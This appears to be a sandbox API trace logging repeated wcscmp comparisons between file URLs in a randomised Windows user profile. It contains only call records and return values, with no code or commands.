	[0098.877] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ph_t9ive4a.gif") returned 1
	[0098.877] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/8y78ct0onkxjh0jaidth.docx") returned 1
	[0098.877] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/vbknuxifja8a3smzlj.bmp") returned -1
	[0098.877] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/0q4phtvdiubhgt70x.ods") returned 1
	[0098.877] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/rpro3yv6z7ezencrmh.jpg") returned 1
	[0098.877] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/needlus0azvsphmmw6z.xlsx") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/uunxjvmk-zjhqq%20a.gif") returned -1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/zbmp3oztns-_tzwszsj.pdf") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/eedyusbybk5jgafd.flv") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/kl3rercief.odp") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/je6xvdagr_wm.flv") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/okbralkx9o.pptx") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/x6cwkno2g1u-.xlsx") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/e2st1_q0mhblry-5f2.gif") returned -1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/5d7qoxsxvlhy.odp") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/vwht_oecylulo.bmp") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/dmm6.mkv") returned -1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/ighw.mkv") returned -1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/l8qtuzam4hc6.ots") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/o-q7.xlsx") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/yfknamid8j.ods") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/j1-w3a.ods") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/mpr9wwdigysqmpdjpd.xlsx") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/gnrduar4_ge-lius2.pps") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ujwjx0nxvajjtxf3pr.png") returned -1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/saqsfltop.bmp") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/44x%20n0sokdl7to.gif") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/yst3fikdfbu4ruukpdcy.png") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/uf98.ots") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/gmdngx.bmp") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/jnuhgew-b.ppt") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/mrbf4z2smxpy-qp.csv") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/sgtctm%20w5i4m4k-tq7vz.docx") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/8dmsvpxvfk8q_a4.odt") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/wvjceeg87kzqwdb.docx") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/es1ciiab1yf_z54n9_qd.gif") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/qop3.odp") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/dtttxqgtwjzoirag3-ir.flv") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/qfgi.mkv") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/uvb6xg44bvjnt-xow9.png") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/elmetgyx2ieiheffa-b.png") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/ds1l.odp") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/t17l6ppjuvfp6jo.png") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/3nniqn2uay.csv") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/za%20xnopijc5-tgt.gif") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/d2axj7lt.csv") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/u0uefh3x.jpg") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/-nmv1nzcfxfh4c_s.pptx") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/p70gthzxsp7.xlsx") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/6xhe6hfrnc81xta9n.gif") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/afmgc.gif") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/1ls8ldxhvkfwb26kk79.pptx") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/3jeeh-g.odp") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/bltg0rl3nb.png") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/bje6sqpktej5ai.bmp") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/nrq59ukxj6dze-tfnqq.gif") returned 1
	[0098.878] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/znv%20lfhavonxumc%20fxu.odp") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/3t2qnwuxoqq.pps") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/jwwryfgwlfsbnup.flv") returned -1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/tqt7wx7.xls") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/nd14d.gif") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/5rqep7-vx1ygvh94.gif") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/lju8cb2ran_hv.doc") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ofu_jx%20yuimdkwmu_vek.bmp") returned -1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/srrtig0h57md7foq.png") returned -1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/m8jawqgwnfk3r.pdf") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/khuiwj64lmgtzh.jpg") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/dwdqwqikyamuduld%20jx.rtf") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0wivbf.csv") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/iy%20rcuc.mkv") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/bevjyszqr-.gif") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/fc88iuvgwej3y_pirp.ppt") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/jt2b9xgk.pptx") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vr0ab02ujidxw.pdf") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/vyu23pd0p.mkv") returned -1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/mmahi-g_fuffb.gif") returned -1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/pu9mybzfycy.bmp") returned -1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/c7umtyr5uw74swgh.png") returned -1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/ld3f.pptx") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/vhi25hujibczp2mvnbex.png") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/tfsywj%206wokl.doc") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/videos/8d7-g4x_lgzhuee.flv") returned -1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/hk3cbszz.flv") returned -1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/arieomv7r.bmp") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/of4idaer6r29bld.doc") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/5a8zeskp_e.docx") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0b7hrz8fr.odt") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/videos/pbp%20_rthbgpsckes8goz.flv") returned -1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/axlrt.csv") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/amp_kb-vbr2dhx15m.docx") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/vaukxb2bjuyjx-gaj.mkv") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/prnexr%20mfylj1t2oh.pptx") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ibcczxulce5fcba-jqaa.bmp") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/xpszo2h.mkv") returned -1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/6yy1ykjsm6.odt") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif") returned -1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv") returned -1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg") returned -1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png") returned -1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt") returned 1
	[0098.879] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods") returned 1
	[0098.880] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned -1
	[0098.880] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned -1
	[0098.880] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned 1
	[0098.880] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned 1
	[0098.880] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/gjve.gif") returned 1
	[0098.880] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned 1
	[0098.880] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned 1
	[0098.880] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 1
	[0098.880] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned 0
